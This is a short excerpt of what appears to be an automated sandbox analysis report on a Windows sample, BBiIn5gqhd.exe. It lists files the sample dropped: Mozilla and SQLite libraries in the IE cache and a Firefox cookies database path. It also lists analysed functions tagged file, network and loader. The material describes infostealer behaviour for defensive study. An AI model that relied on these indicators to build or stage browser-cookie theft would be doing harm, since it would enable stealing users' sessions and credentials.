C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\sqlite3[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Windows Analysis Report
BBiIn5gqhd.exe

Function 00408920 Relevance: 45.9, APIs: 22, Strings: 4, Instructions: 394
fileCOMMON

Function 00406D50 Relevance: 43.8, APIs: 29, Instructions: 277
libraryCOMMON

Function 004052D0 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 172
networksleepfileCOMMON

Function 00401280 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 134
fileCOMMON

Function 0040C6A0 Relevance: 266.9, APIs: 144, Strings: 8, Instructions: 874
libraryloaderCOMMON